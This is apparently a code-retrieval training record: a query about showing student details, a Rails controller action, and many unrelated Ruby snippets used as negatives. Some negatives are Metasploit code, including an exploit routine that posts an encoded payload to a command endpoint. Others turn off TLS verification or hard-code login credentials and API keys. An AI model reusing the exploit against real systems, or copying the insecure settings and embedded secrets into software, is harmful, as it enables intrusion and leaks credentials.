open_ssl_socket()\n require 'openssl' unless defined?(OpenSSL)\n begin # Any raised SSL exceptions\n ctx = @sslctx_newparm ? OpenSSL::SSL::SSLContext.new(@sslctx_newparm) : OpenSSL::SSL::SSLContext.new\n ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # Assume for now\n #\n # Note: if a client uses :ssl => true this would result in the gem using\n # the _default_ Ruby ciphers list. This is _known_ to fail in later\n # Ruby releases. The gem now detects :ssl => true, and replaces that\n # with:\n # * :ssl => Stomp::SSLParams.new\n #\n # The above results in the use of Stomp default parameters.\n #\n # To specifically request Stomp default parameters, use:\n # * :ssl => Stomp::SSLParams.new(..., :ciphers => Stomp::DEFAULT_CIPHERS)\n #\n # If connecting with an SSLParams instance, and the _default_ Ruby\n # ciphers list is actually required, use:\n # * :ssl => Stomp::SSLParams.new(..., :use_ruby_ciphers => true)\n #\n # If a custom ciphers list is required, connect with:\n # * :ssl => Stomp::SSLParams.new(..., :ciphers => custom_ciphers_list)\n #\n if @ssl != true\n #\n # Here @ssl is:\n # * an instance of Stomp::SSLParams\n # Control would not be here if @ssl == false or @ssl.nil?.\n #\n\n # Back reference the SSLContext\n @ssl.ctx = ctx\n\n # Server authentication parameters if required\n if @ssl.ts_files\n ctx.verify_mode = OpenSSL::SSL::VERIFY_PEER\n truststores = OpenSSL::X509::Store.new\n fl = @ssl.ts_files.split(\",\")\n fl.each do |fn|\n # Add next cert file listed\n raise Stomp::Error::SSLNoTruststoreFileError if !File::exists?(fn)\n raise Stomp::Error::SSLUnreadableTruststoreFileError if !File::readable?(fn)\n truststores.add_file(fn)\n end\n ctx.cert_store = truststores\n end\n\n # Client authentication parameters.\n # Both cert file and key file must be present or not, it can not be a mix.\n raise Stomp::Error::SSLClientParamsError if @ssl.cert_file.nil? && [email protected]_file.nil?\n raise Stomp::Error::SSLClientParamsError if [email protected]_file.nil? && @ssl.key_file.nil?\n if @ssl.cert_file # Any check will do here\n raise Stomp::Error::SSLNoCertFileError if !File::exists?(@ssl.cert_file)\n raise Stomp::Error::SSLUnreadableCertFileError if !File::readable?(@ssl.cert_file)\n ctx.cert = OpenSSL::X509::Certificate.new(File.read(@ssl.cert_file))\n raise Stomp::Error::SSLNoKeyFileError if !File::exists?(@ssl.key_file)\n raise Stomp::Error::SSLUnreadableKeyFileError if !File::readable?(@ssl.key_file)\n ctx.key = OpenSSL::PKey::RSA.new(File.read(@ssl.key_file), @ssl.key_password)\n end\n\n # Cipher list\n # As of this writing, there are numerous problems with supplying\n # cipher lists to jruby. So we do not attempt to do that here.\n if [email protected]_ruby_ciphers # No Ruby ciphers (the default)\n if @ssl.ciphers # User ciphers list?\n ctx.ciphers = @ssl.ciphers # Accept user supplied ciphers\n else\n ctx.ciphers = Stomp::DEFAULT_CIPHERS # Just use Stomp defaults\n end\n end unless @jruby\n\n # Set SSLContext Options if user asks for it in Stomp::SSLParams\n # and SSL supports it.\n if @ssl.ssl_ctxopts && ctx.respond_to?(:options=)\n ctx.options = @ssl.ssl_ctxopts\n end\n\n end\n\n #\n ssl = nil\n slog(:on_ssl_connecting, log_params)\n # _dump_ctx(ctx)\n Timeout::timeout(@connect_timeout, Stomp::Error::SocketOpenTimeout) do\n tcp_socket = TCPSocket.open(@host, @port)\n ssl = OpenSSL::SSL::SSLSocket.new(tcp_socket, ctx)\n ssl.hostname = @host if ssl.respond_to? :hostname=\n ssl.sync_close = true # Sync ssl close with underlying TCP socket\n ssl.connect\n if (ssl.context.verify_mode != OpenSSL::SSL::VERIFY_NONE) && @ssl_post_conn_check\n ssl.post_connection_check(@host)\n end\n end\n def ssl.ready?\n ! @rbuffer.empty? || @io.ready?\n end\n if @ssl != true\n # Pass back results if possible\n if RUBY_VERSION =~ /1\\.8\\.[56]/\n @ssl.verify_result = \"N/A for Ruby #{RUBY_VERSION}\"\n else\n @ssl.verify_result = ssl.verify_result\n end\n @ssl.peer_cert = ssl.peer_cert\n end\n slog(:on_ssl_connected, log_params)\n ssl\n rescue Exception => ex\n lp = log_params.clone\n lp[:ssl_exception] = ex\n slog(:on_ssl_connectfail, lp)\n if ssl\n # shut down the TCP socket - we just failed to do the SSL handshake in time\n ssl.close\n end\n #\n puts ex.backtrace\n $stdout.flush\n raise # Reraise\n end\n end", "def login\n res = http_get(login_url)\n Parser::ErrorChecker.check(res)\n\n client_progress.login\n\n new_capabilities = extract_capabilities(Nokogiri.parse(res.body))\n unless new_capabilities\n raise UnknownResponse, \"Cannot read rets server capabilities.\"\n end\n @capabilities = new_capabilities\n end", "def desc\n \"Powershell session\"\n end", "def server_session(&block)\n server.session(&block)\n end", "def get_service_session\n @sp_session = current_service_session\n end", "def makessl(params)\n\n if params.ssl_cert\n key, cert, chain = ssl_parse_pem(params.ssl_cert)\n else\n key, cert, chain = ssl_generate_certificate\n end\n\n ctx = OpenSSL::SSL::SSLContext.new()\n ctx.key = key\n ctx.cert = cert\n ctx.extra_chain_cert = chain\n ctx.options = 0\n\n if params.ssl_cipher\n ctx.ciphers = params.ssl_cipher\n end\n\n # Older versions of OpenSSL do not export the OP_NO_COMPRESSION symbol\n if defined?(OpenSSL::SSL::OP_NO_COMPRESSION)\n # enable/disable the SSL/TLS-level compression\n if params.ssl_compression\n ctx.options &= ~OpenSSL::SSL::OP_NO_COMPRESSION\n else\n ctx.options |= OpenSSL::SSL::OP_NO_COMPRESSION\n end\n end\n\n ctx.session_id_context = Rex::Text.rand_text(16)\n\n return ctx\n end", "def connect(global = true, opts={})\r\n\r\n self.sock = super(global, opts)\r\n\r\n if datastore['NRPESSL'] or @force_ssl\r\n ctx = OpenSSL::SSL::SSLContext.new(\"TLSv1\")\r\n ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n ctx.ciphers = \"ADH\"\r\n\r\n @ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)\r\n\r\n @ssl_socket.connect\r\n\r\n self.sock.extend(Rex::Socket::SslTcp)\r\n self.sock.sslsock = @ssl_socket\r\n self.sock.sslctx = ctx\r\n end\r\n\r\n return self.sock\r\n end", "def get_session(options = {})\n resp = @connection.post do |req|\n req.headers = { :Accept => 'application/json'}\n req.url 'v1/sessions'\n req.body = options.to_json\n end\n check_response_for_errors resp.body\n end", "def get_session\n @authenticator.get_session\n end", "def retrieve\n session = session_from_redis\n return session if session.present?\n\n establish_chip_session\n end", "def ssl; end", "def initialize(username=ENV['LOOMIO_USER'], password=ENV['LOOMIO_PASSWORD'])\n if !username || !password || !ENV['LOOMIO_GROUP_ID']\n raise ArgumentError, \"LOOMIO_USER, LOOMIO_PASSWORD, LOOMIO_GROUP_ID environment variables must be set\"\n end\n\n user = {user:{email:username,password:password}}\n security_response = self.class.post(@@base_uri + @@sessions_uri, body: user)\n puts(security_response.value) # raises error if the request failed\n\n # parse and set security cookies based on the post call\n @security_cookies = self.parse_set_cookie(security_response.headers['set-cookie'])\n self.class.default_cookies.add_cookies(@security_cookies)\n\n # set headers used for all requests\n @headers = {\n 'Content-Type': 'application/json'\n }\n end", "def get_session\n return Seasar::Rack::Session.get_session(@env)\n end", "def get_session_id\n @agent.get( @root_url + '/dwr/engine.js') do |page|\n @session_id = extract_session_id(page.body)\n end\n end", "def ssl_credentials\n if Gruf.use_ssl\n private_key = File.read Gruf.ssl_key_file\n cert_chain = File.read Gruf.ssl_crt_file\n certs = [nil, [{ private_key: private_key, cert_chain: cert_chain }], false]\n GRPC::Core::ServerCredentials.new(*certs)\n else\n :this_port_is_insecure\n end\n end", "def negotiate_tlv_encryption\n sym_key = nil\n rsa_key = OpenSSL::PKey::RSA.new(2048)\n rsa_pub_key = rsa_key.public_key\n\n request = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION)\n request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)\n\n begin\n response = client.send_request(request)\n key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)\n key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)\n\n if key_enc\n sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)\n else\n sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)\n end\n rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError\n # 1) OpenSSL error may be due to padding issues (or something else)\n # 2) Request error probably means the request isn't supported, so fallback to plain\n end\n\n {\n key: sym_key,\n type: key_type\n }\n end", "def get_session\n @session = Session.find(@blocker.session_id)\n end", "def C_GetSessionInfo()\n @pk.C_GetSessionInfo(@sess)\n end", "def ssl\n datastore['SSL']\n end", "def inspect\n \"<ServerSSL Object>\"\n end", "def serverssl\n super\n end", "def login_command_for_linux\n args = %W{-u #{options[:user]}}\n args += %W{-p #{options[:password]}} if options.key?(:password)\n args += %W{#{URI.parse(options[:endpoint]).host}:#{rdp_port}}\n\n LoginCommand.new(\"rdesktop\", args)\n end", "def ssl_credentials\n if options.fetch(:use_ssl, Gruf.use_ssl)\n private_key = File.read(options.fetch(:ssl_key_file, Gruf.ssl_key_file))\n cert_chain = File.read(options.fetch(:ssl_crt_file, Gruf.ssl_crt_file))\n certs = [nil, [{ private_key: private_key, cert_chain: cert_chain }], false]\n GRPC::Core::ServerCredentials.new(*certs)\n else\n :this_port_is_insecure\n end\n end", "def create_ssh_session\n return Net::SSH.start(JUMPSRV_NMC, JUMPSRV_NMC_USER, password: JUMPSRV_NMC_PW, timeout: 40) # verbose: :info,\n end", "def ssl_credentials\n return :this_port_is_insecure unless options.fetch(:use_ssl, Gruf.use_ssl)\n\n private_key = File.read(options.fetch(:ssl_key_file, Gruf.ssl_key_file))\n cert_chain = File.read(options.fetch(:ssl_crt_file, Gruf.ssl_crt_file))\n certs = [nil, [{ private_key: private_key, cert_chain: cert_chain }], false]\n GRPC::Core::ServerCredentials.new(*certs)\n end", "def http_session\n if @http_session.nil?\n uri=self.class.build_uri(@params[:base_url])\n # this honors http_proxy env var\n @http_session=Net::HTTP.new(uri.host, uri.port)\n @http_session.use_ssl = uri.scheme.eql?('https')\n Log.log.debug(\"insecure=#{@@insecure}\")\n @http_session.verify_mode = OpenSSL::SSL::VERIFY_NONE if @@insecure\n @http_session.set_debug_output($stdout) if @@debug\n if @params.has_key?(:session_cb)\n @params[:session_cb].call(@http_session)\n end\n # manually start session for keep alive (if supported by server, else, session is closed every time)\n @http_session.start\n end\n return @http_session\n end", "def get_with_session_login(path, session)\n get path, nil, {\"rack.session\" => {\"uid\" => session['uid']}}\n end", "def vcd_session(vcd, username, password)\n vcd_session_link = RestClient::Resource.new(vcd + '/api/sessions', username, password )\n vcd_session_response = vcd_session_link.post({'Accept' => 'application/*+xml;version=5.5'})\n myvar = 'x_vcloud_authorization'\n @mysession = vcd_session_response.headers[myvar.to_sym]\nend", "def private_key_get\n return @priv_key unless @priv_key.nil?\n priv_key_path = File.join(resource[:priv_key_dir], resource[:priv_key_name])\n @priv_key = if Pathname.new(priv_key_path).exist?\n file = File.read(priv_key_path)\n case resource[:auth_type].downcase\n when 'dsa'\n OpenSSL::PKey::DSA.new(file, resource[:key_password])\n when 'rsa'\n OpenSSL::PKey::RSA.new(file, resource[:key_password])\n when 'ec'\n OpenSSL::PKey::EC.new(file, resource[:key_password])\n else\n raise Puppet::Error, \"Unknown authentication type '#{resource[:auth_type]}'\"\n end\n else\n false\n end\n end", "def get_new_session\n client = prepare_request(auth_url)\n\n login_response = do_request_and_handle_errors do\n client.request :login do |soap|\n soap.body = {:id => @user, :pw => @pass}\n end\n end\n\n @session = login_response.to_hash[:login_response][:login_return]\n @cookie = login_response.http.headers[\"Set-Cookie\"]\n\n false unless @session.instance_of? Nori::StringWithAttributes\n end", "def new_session(options={})\n if supports_sessions?\n api.rest_method('ADD_AUTHORIZATION', {\n :scope => 'session',\n :note => \"RHC/#{RHC::VERSION::STRING} (from #{Socket.gethostname rescue 'unknown'} on #{RUBY_PLATFORM})\",\n :reuse => true\n }, options)\n end\n end", "def server_login\n loaded_session=false\n begin\n if !env[\"session_file\"].nil? && !env[\"session_file\"].empty?\n path=File.expand_path(env[\"session_file\"])\n# puts \"Attempting to load previous session keys from #{env[\"session_file\"]}\" if env[\"echo\"]\n yaml=YAML::load(File.open(path))\n if yaml[\"auth\"]\n yaml[\"auth\"].each {|k,v|\n if v.nil? #cleanup for old auth file\n k=\"global\"\n v=k\n end\n ServerCredentials.instance[k][\"auth\"]=v\n }\n end\n credentials=ServerCredentials.instance[env[\"default_server\"]]\n if credentials[\"auth\"]\n puts \"Attempting to use previous key\" if env[\"echo\"]\n loaded_session=ZabbixServer.instance.use_auth(credentials)\n puts \"#{env[\"server\"]} connected\" if env[\"echo\"]\n puts \"API Version: #{ZabbixServer.instance.version}\" if env[\"echo\"]\n end\n end\n rescue Errno::ECONNREFUSED, Errno::ENOENT, ZbxAPI_ExceptionLoginPermission\n puts \"Failed to load previous session key\" if env[\"echo\"]\n# return\n end\n\n\n credentials=ServerCredentials.instance[env[\"default_server\"]] if credentials.nil?\n\n if !loaded_session && !credentials[\"server\"].nil? &&\n !credentials[\"username\"].nil? && !credentials[\"password\"].nil?\n puts \"Found valid login credentials, attempting login\" if env[\"echo\"]\n begin\n\n #\n ZabbixServer.instance.login(credentials)\n\n rescue ZbxAPI_ExceptionBadAuth => e\n puts e.message\n rescue ZbxAPI_ExceptionLoginPermission\n puts \"Error Invalid login or no API permissions.\"\n rescue ZbxAPI_ExceptionBadServerUrl\n puts \"Error connecting to server\" #TODO Fix message to show hostname\n end\n end\n\n end", "def socket\n connect unless connected?\n @ssl_sock\n end", "def to_show_login\n\t\t# Password strategy\t\t\n\t\tkey = OpenSSL::PKey::RSA.new(1024)\n\t\t@public_modulus = key.public_key.n.to_s(16)\n\t\t@public_exponent = key.public_key.e.to_s(16)\n\t\tsession[:key] = key.to_pem\n\tend", "def init_meterpreter(sock,opts={})\n self.sock = sock\n self.parser = PacketParser.new\n self.ext = ObjectAliases.new\n self.ext_aliases = ObjectAliases.new\n self.alive = true\n self.target_id = opts[:target_id]\n self.capabilities = opts[:capabilities] || {}\n self.commands = []\n self.last_checkin = Time.now\n\n self.conn_id = opts[:conn_id]\n self.url = opts[:url]\n self.ssl = opts[:ssl]\n\n self.pivot_session = opts[:pivot_session]\n if self.pivot_session\n self.expiration = self.pivot_session.expiration\n self.comm_timeout = self.pivot_session.comm_timeout\n self.retry_total = self.pivot_session.retry_total\n self.retry_wait = self.pivot_session.retry_wait\n else\n self.expiration = opts[:expiration]\n self.comm_timeout = opts[:comm_timeout]\n self.retry_total = opts[:retry_total]\n self.retry_wait = opts[:retry_wait]\n self.passive_dispatcher = opts[:passive_dispatcher]\n end\n\n self.response_timeout = opts[:timeout] || self.class.default_timeout\n self.send_keepalives = true\n\n # TODO: Clarify why we don't allow unicode to be set in initial options\n # self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true\n self.encode_unicode = false\n\n self.aes_key = nil\n self.session_guid = opts[:session_guid] || \"\\x00\" * 16\n\n # The SSL certificate is being passed down as a file path\n if opts[:ssl_cert]\n if ! ::File.exist? opts[:ssl_cert]\n elog(\"SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored\")\n else\n # Load the certificate the same way that SslTcpServer does it\n self.ssl_cert = ::File.read(opts[:ssl_cert])\n end\n end\n\n # Protocol specific dispatch mixins go here, this may be neader with explicit Client classes\n opts[:dispatch_ext].each {|dx| self.extend(dx)} if opts[:dispatch_ext]\n initialize_passive_dispatcher if opts[:passive_dispatcher]\n\n register_extension_alias('core', ClientCore.new(self))\n\n initialize_inbound_handlers\n initialize_channels\n initialize_pivots\n\n # Register the channel and pivot inbound packet handlers\n register_inbound_handler(Rex::Post::Meterpreter::Channel)\n register_inbound_handler(Rex::Post::Meterpreter::Pivot)\n\n monitor_socket\n end", "def session(token)\n get(:signed, {:method => \"auth.getSession\", :token => token})\n end", "def connect_ssl; end", "def getSslTcpConnection(host, port)\n store = OpenSSL::X509::Store.new\n store.add_file(OpenSSL::X509::DEFAULT_CERT_FILE)\n sslContext = OpenSSL::SSL::SSLContext.new\n sslContext.cert_store = store\n sslContext.ssl_version = :SSLv23\n sslSocket = OpenSSL::SSL::SSLSocket.new(TCPSocket.new(host, port), sslContext)\n sslSocket.hostname = host #for Server Name Indication (SNI)\n sslSocket.sync_close = true #instead of calling close on tcp socket\n sslSocket.connect\n sslSocket\nend", "def login_command_for_windows\n create_rdp_doc\n\n LoginCommand.new(\"mstsc\", rdp_doc_path)\n end", "def secure(options=nil)\n # Skip this if we're already secure.\n return if secured?\n\n defaults = {\n :timeout => nil,\n :ciphers => FTW::Agent::Configuration::SSL_CIPHER_MAP[\"MOZILLA_MODERN\"],\n :version => \"TLSv1.1\"\n }\n settings = defaults.merge(options) unless options.nil?\n\n @logger.info(\"Securing this connection\", :peer => peer, :options => settings)\n # Wrap this connection with TLS/SSL\n sslcontext = OpenSSL::SSL::SSLContext.new\n # If you use VERIFY_NONE, you are removing the trust feature of TLS. Don't do that.\n # Encryption without trust means you don't know who you are talking to.\n sslcontext.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\n # ruby-core is refusing to patch ruby's default openssl settings to be more\n # secure, so let's fix that here. The next few lines setting options and\n # ciphers come from jmhodges' proposed patch\n ssloptions = OpenSSL::SSL::OP_ALL\n if defined?(OpenSSL::SSL::OP_DONT_INSERT_EMPTY_FRAGMENTS)\n ssloptions &= ~OpenSSL::SSL::OP_DONT_INSERT_EMPTY_FRAGMENTS\n end\n if defined?(OpenSSL::SSL::OP_NO_COMPRESSION)\n ssloptions |= OpenSSL::SSL::OP_NO_COMPRESSION\n end\n # https://github.com/jruby/jruby/issues/1874\n version = OpenSSL::SSL::SSLContext::METHODS.find { |x| x.to_s.gsub(\"_\",\".\") == settings[:version] }\n raise InvalidConfiguration, \"Invalid SSL/TLS version '#{settings[:version]}'\" if version.nil?\n sslcontext.ssl_version = version\n\n # We have to set ciphers *after* setting ssl_version because setting\n # ssl_version will reset the cipher set.\n sslcontext.options = ssloptions\n sslcontext.ciphers = settings[:ciphers]\n\n sslcontext.verify_callback = proc do |*args| \n @logger.debug(\"Verify peer via FTW::Connection#secure\", :callback => settings[:verify_callback])\n if settings[:verify_callback].respond_to?(:call)\n settings[:verify_callback].call(*args)\n end\n end\n sslcontext.cert_store = settings[:certificate_store]\n\n @socket = OpenSSL::SSL::SSLSocket.new(@socket, sslcontext)\n\n # TODO(sissel): Set up local certificat/key stuff. This is required for\n # server-side ssl operation, I think.\n\n if client?\n do_secure(:connect_nonblock, settings[:timeout])\n else\n do_secure(:accept_nonblock, settings[:timeout])\n end\n end", "def sessionGet(options={})\n assert_valid_keys(options, :sessionId)\n assert_keys_exists(options, :sessionId)\n execute(:sessionGet, options)\n end", "def sessionGet(options={})\n assert_valid_keys(options, :sessionId)\n assert_keys_exists(options, :sessionId)\n execute(:sessionGet, options)\n end", "def get_new\n logger.debug \"Establishing connection for #{creep.user}@#{creep.host} passwd:#{creep.password}\"\n ssh = Net::SSH.start(creep.host, creep.user, {:password => creep.password, :verbose => (ENV['SSH_DEBUG'] && ENV['SSH_DEBUG'].to_sym) || :fatal })\n ssh.send_global_request(\"[email protected]\")\n ssh\n rescue Net::SSH::Exception => ex\n logger.error \"There was an exception in method get_new for SSConnection. Details #{ex}:\\n#{ex.backtrace}\"\n return nil\n rescue SystemCallError => ex\n logger.error \"There was an system error in method get_new for SSConnection. Details #{ex}:\\n#{ex.backtrace}\"\n return nil\n end", "def get_session_key\n\t\tres = RestClient.get 'https://secure.techfortesco.com/groceryapi_b1/restservice.aspx', {:params => {:command => 'LOGIN', :email => '[email protected]', :password => 'stokfridge', :developerkey => 'OULdsDZaBmGE47M7SWK2', :applicationkey => '04291BA250D2B7D6A01D'}}\n\t\tres = JSON.parse(res)\n\t\tres['SessionKey']\n\tend", "def session_endpoint_private(options = {})\n transaction = Janus::Transactions::Session.new(true,\n options['session_id'])\n transaction.connect { yield(transaction) }\n end", "def is_admin\n res = http_get(:uri=>\"/session\", :fields=>x_cookie)\n if res['permissions'] == 128\n return true\n else\n return false\n end\n end", "def login\n params = {\n 'method' => :post,\n 'command' => '/sessions'\n }\n\n response, headers = send_request(params)\n\n if !headers.has_key?(:x_vcloud_authorization)\n raise \"Unable to authenticate: missing x_vcloud_authorization header\"\n end\n\n extensibility_link = response.css(\"Link[rel='down:extensibility']\")\n @extensibility = extensibility_link.first['href'] unless extensibility_link.empty?\n\n @auth_key = headers[:x_vcloud_authorization]\n end", "def ssl\n @ssl ||= SSL.new\n end", "def get_credentials\n @credentials = CredHandle.new\n ts = TimeStamp.new\n @identity = Identity.new @user, @domain, @password\n result = SSPIResult.new(API::AcquireCredentialsHandle.call(nil, \"Negotiate\", SECPKG_CRED_OUTBOUND, nil, @identity.to_p,\n nil, nil, @credentials.to_p, ts.to_p))\n raise \"Error acquire credentials: #{result}\" unless result.ok?\n end", "def connect\n socket = TCPSocket.new(@server, @port.to_i)\n if @options[:ssl] == nil\n return socket\n end\n ssl_context = @options[:ssl]\n ssl_context = OpenSSL::SSL::SSLContext.new()\n unless ssl_context.verify_mode\n warn \"warning: peer certificate won't be verified this session.\"\n ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context)\n ssl_socket.sync_close = true\n ssl_socket.connect\n return ssl_socket\n end", "def get path, args={}, env={}\n env[\"rack.session\"] ||= {}\n super(path, args, env.merge('rack.url_scheme' => 'https'))\n end", "def get_session\n session = Session.create!(key: Random.rand(0xFFFFFFFF).to_s)\n render json: { id: session.id, key: session.key }\n end", "def mobile_session(username, authToken)\n get(:signed, {:method => \"auth.getMobileSession\", :username => username, :authToken => authToken})\n end", "def login\n form_data = {\"j_username\" => @username, \"j_password\" => @password}\n response = rally_post(\"/slm/platform/j_platform_security_check.op\", form_data, true)\n # essential for subsequent calls to rally to authenticate internally\n @session_cookie = get_session_cookie(response)\n end", "def get_session(env, sid)\n\n # Start each HTTP request with a fresh view of the repository.\n Maglev.abort_transaction\n\n session = @sessions[sid] if sid\n unless sid and session\n session = Hash.new\n sid = generate_sid\n @sessions[sid] = session # Rely on the commit_transaction in set_session\n end\n return [sid, session]\n rescue Exception => e\n puts \"== Get Session: EXCEPTION: #{e}\"\n return [nil, {}]\n end", "def sessionGet(options = {})\n assert_valid_keys(options, :accessKey, :testMode, :sessionId)\n assert_keys_exists(options, :sessionId)\n execute(:sessionGet, options)\n end", "def saml_request\n session_token = authenticate\n uri = URI.parse(idp_login_url)\n req = Net::HTTP::Post.new(uri.request_uri)\n req.set_form_data({'onetimetoken' => session_token})\n req\n end", "def get_secret(node_name)\n puts \"downloading slave-agent.jnlp...\"\n jnlp= http_get(\"/computer/#{node_name}/slave-agent.jnlp\")\n doc = REXML::Document.new(jnlp)\n doc.get_text('jnlp/application-desc/argument')\nend", "def session(&block)\n raise ArgumentError, \"#{self.class}#shared_connection must be passed a block\" unless block\n\n begin\n t0 = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n @in_session = true\n if NewRelic::Agent.config[:aggressive_keepalive]\n session_with_keepalive(&block)\n else\n session_without_keepalive(&block)\n end\n rescue *CONNECTION_ERRORS => e\n elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - t0\n raise NewRelic::Agent::ServerConnectionException, \"Recoverable error connecting to #{@collector} after #{elapsed} seconds: #{e}\"\n ensure\n @in_session = false\n end\n end", "def client_private_key\n return ENV[\"MCOLLECTIVE_SSL_PRIVATE\"] if ENV.include?(\"MCOLLECTIVE_SSL_PRIVATE\")\n\n raise(\"No plugin.ssl_client_private configuration option specified\") unless @config.pluginconf.include?(\"ssl_client_private\")\n\n return @config.pluginconf[\"ssl_client_private\"]\n end", "def exploit\n begin\n # attempt a login. In this case we show basic auth, and a POST to a fake username/password\n # simply to show how both are done\n vprint_status('Attempting login')\n # since we will check res to see if auth was a success, make sure to capture the return\n res = send_request_cgi(\n 'uri' => '/login.html',\n 'method' => 'POST',\n 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n 'vars_post' => {\n 'username' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD']\n }\n )\n\n # a valid login will give us a 301 redirect to /home.html so check that.\n # ALWAYS assume res could be nil and check it first!!!!!\n if res && res.code != 301\n fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid credentials (response code: #{res.code})\")\n end\n\n # grab our valid cookie\n cookie = res.get_cookies\n # we don't care what the response is, so don't bother saving it from send_request_cgi\n vprint_status('Attempting exploit')\n send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'command.html'),\n 'method' => 'POST',\n 'cookie' => cookie,\n 'vars_post' =>\n {\n 'cmd_str' => payload.encoded\n }\n )\n\n rescue ::Rex::ConnectionError\n fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n end\n\n end", "def session\n @connection.request('session-get') do |resp|\n if resp == :connection_error\n yield :connection_error\n else\n yield Session.new(resp)\n end\n end\n end", "def set_ssl_public_key_in_session\n if encryption_required?\n key = OpenSSL::PKey::RSA.new(session[:key] || 1024)\n @public_modulus = key.public_key.n.to_s(16)\n @public_exponent = key.public_key.e.to_s(16)\n session[:key] = key.to_pem\n end\n end", "def negotiate_auth(opts={})\n\n to = opts['timeout'] || 20\n opts['username'] ||= ''\n opts['password'] ||= ''\n\n if opts['provider'] and opts['provider'].include? 'Negotiate'\n provider = \"Negotiate \"\n else\n provider = \"NTLM \"\n end\n\n opts['method']||= 'GET'\n opts['headers']||= {}\n\n workstation_name = Rex::Text.rand_text_alpha(rand(8)+6)\n domain_name = self.config['domain']\n\n ntlm_client = ::Net::NTLM::Client.new(\n opts['username'],\n opts['password'],\n workstation: workstation_name,\n domain: domain_name,\n )\n type1 = ntlm_client.init_context\n\n begin\n # First request to get the challenge\n opts['headers']['Authorization'] = provider + type1.encode64\n\n r = request_cgi(opts)\n resp = _send_recv(r, to)\n unless resp.kind_of? Rex::Proto::Http::Response\n return nil\n end\n\n return resp unless resp.code == 401 && resp.headers['WWW-Authenticate']\n\n # Get the challenge and craft the response\n ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\\x2b\\x2f=]+)/ni).flatten[0]\n return resp unless ntlm_challenge\n\n ntlm_message_3 = ntlm_client.init_context(ntlm_challenge)\n\n # Send the response\n opts['headers']['Authorization'] = \"#{provider}#{ntlm_message_3.encode64}\"\n r = request_cgi(opts)\n resp = _send_recv(r, to, true)\n unless resp.kind_of? Rex::Proto::Http::Response\n return nil\n end\n return resp\n\n rescue ::Errno::EPIPE, ::Timeout::Error\n return nil\n end\n end" ]
[ "0.63803524", "0.5970169", "0.5886548", "0.56767565", "0.5490591", "0.54741263", "0.5374985", "0.533177", "0.5331369", "0.52885836", "0.5272939", "0.5250367", "0.523512", "0.52097565", "0.52004594", "0.51988655", "0.51868457", "0.51745814", "0.51243347", "0.510269", "0.5054084", "0.50514996", "0.5038607", "0.5024867", "0.49968374", "0.49900147", "0.49855503", "0.4979527", "0.49750593", "0.49239385", "0.49107015", "0.4903659", "0.48930633", "0.48863462", "0.48851717", "0.48777744", "0.4871609", "0.4866341", "0.4855061", "0.4844885", "0.48447073", "0.48411602", "0.48223028", "0.48173505", "0.48136187", "0.48067802", "0.48063764", "0.48014584", "0.4797132", "0.47840384", "0.4776123", "0.47601032", "0.4753394", "0.47426027", "0.47419646", "0.4735941", "0.47307932", "0.47255436", "0.4723094", "0.47163343", "0.4711324", "0.47092605", "0.47080588", "0.4689059", "0.46874502", "0.46840686", "0.46804738", "0.4675759", "0.46744975", "0.46714693", "0.46703058", "0.46667677", "0.46396473", "0.46276292", "0.46271604", "0.46207812", "0.4618323", "0.4618323", "0.46168947", "0.4613961", "0.46122164", "0.46114755", "0.4605576", "0.4595049", "0.45948637", "0.45860922", "0.455442", "0.4549586", "0.4547929", "0.45468792", "0.45373887", "0.45369127", "0.45324674", "0.452663", "0.45263276", "0.45259088", "0.452285", "0.45224386", "0.45199424", "0.45192233" ]
0.5647581
4
The function is used to show student details for admin
def show if(session[:user]==nil) redirect_to "/login" and return end check=Auth.where(:username =>session[:user]).select('DISTINCT ON (username) *').pluck(:role) if(check[0]=='S' or check[0]=='Student' ) redirect_to studet_path(check,:uin =>session[:user]) and return end if params[:uin] == nil params[:uin] = session[:pdf_user] end @detail=Review.rev_func(params[:uin]).select('DISTINCT ON (reviews.user_id,reviews.year) *').limit(1) @revs=Review.rev_func(params[:uin]).select('DISTINCT ON (reviews.user_id,reviews.year) *') [email protected](:user_id) temp2=User.where(:uin => temp[0]).pluck(:advisor) temp3=User.where(:uin => temp2[0]).pluck(:first_name) temp4=User.where(:uin => temp2[0]).pluck(:last_name) if temp3!=[] and temp4!=[] temp5=temp3[0]+' '+temp4[0] @tempad=temp5 else @tempad="" end session[:pdf_user]= params[:uin] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
